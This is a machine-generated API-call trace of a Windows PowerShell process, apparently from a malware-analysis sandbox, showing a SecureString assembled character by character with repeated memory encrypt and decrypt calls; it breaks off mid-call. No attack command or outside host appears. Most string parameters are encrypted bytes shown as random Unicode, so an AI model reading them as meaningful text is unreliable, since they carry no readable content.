(param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\x9bb4\xc151\x1e2d\xa5a7\xab12\x6a99\x04\xbf97\x9c83\xe192\x9ea5\x8588\xfc90\xdc8f\x22e2\x56e4") returned 0x30 [0134.235] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\x9bb4\xc151\x1e2d\xa5a7\xab12\x6a99\x04\xbf97\x9c83\xe192\x9ea5\x8588\xfc90\xdc8f\x22e2\x56e4") returned 0x30 [0134.235] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.235] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBczUMjOsQ0KQQG/2xo꒡濒縌䗿轄") returned 0x30 [0134.235] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.235] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\x9bb4\xc151\x1e2d\xa5a7\xab12\x6a99\x04\xbf97\x4ac6\x4046\x5068\x23f0\xaece\x9943\xaf34\x2e83") returned 0x30 [0134.235] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\x9bb4\xc151\x1e2d\xa5a7\xab12\x6a99\x04\xbf97\x4ac6\x4046\x5068\x23f0\xaece\x9943\xaf34\x2e83") returned 0x30 [0134.235] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.235] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBczUMjOsQ0KQQG/2xo=濒縌䗿轄") returned 0x30 [0134.235] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.235] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.236] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.236] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.236] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0134.236] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.236] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.236] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.236] SysStringLen (param_1="") returned 0x8 [0134.236] SysStringLen (param_1="Y") returned 0x8 [0134.236] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.236] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.236] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.236] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.237] SysStringLen (param_1="YW") returned 0x8 [0134.237] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.237] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.237] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.237] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.237] SysStringLen (param_1="YWM") returned 0x8 [0134.237] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.237] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.237] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.237] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.237] SysStringLen (param_1="YWM1") returned 0x8 [0134.237] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.237] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.237] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.237] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.237] SysStringLen (param_1="YWM1O") returned 0x8 [0134.238] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.238] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.238] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.238] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.238] SysStringLen (param_1="YWM1OT") returned 0x8 [0134.238] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.238] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.238] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.238] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.238] SysStringLen (param_1="YWM1OTE") returned 0x8 [0134.238] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.238] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.238] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.238] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.238] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0134.238] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.239] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.239] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.239] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.239] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0134.239] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.239] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0134.239] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.239] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.239] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.239] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.239] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0134.239] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.239] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.239] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.239] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.239] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0134.240] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.240] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.240] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.240] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.240] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0134.240] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.240] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.240] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.240] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.240] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0134.240] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.241] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.241] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.241] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.241] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0134.241] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.241] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.241] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.241] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.241] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0134.241] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.241] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.241] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.241] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.241] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0134.241] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.241] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.241] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.242] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.242] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0134.242] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.242] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0134.242] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.242] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.242] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.242] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.242] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0134.242] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.242] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.242] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.242] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.242] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0134.242] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.242] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.242] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.243] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.243] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0134.243] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.243] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.243] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.243] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.243] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0134.243] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.243] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.243] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.243] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.243] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0134.243] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.243] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.243] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.243] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.244] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0134.244] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.244] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.244] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.244] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.244] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0134.244] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.244] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.244] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.244] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.244] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0134.244] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.244] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0134.244] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.244] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.245] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.245] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.245] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0134.245] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.245] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.245] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.245] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.245] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0134.245] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.245] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.245] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.245] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.245] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0134.245] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.245] SysStringLen 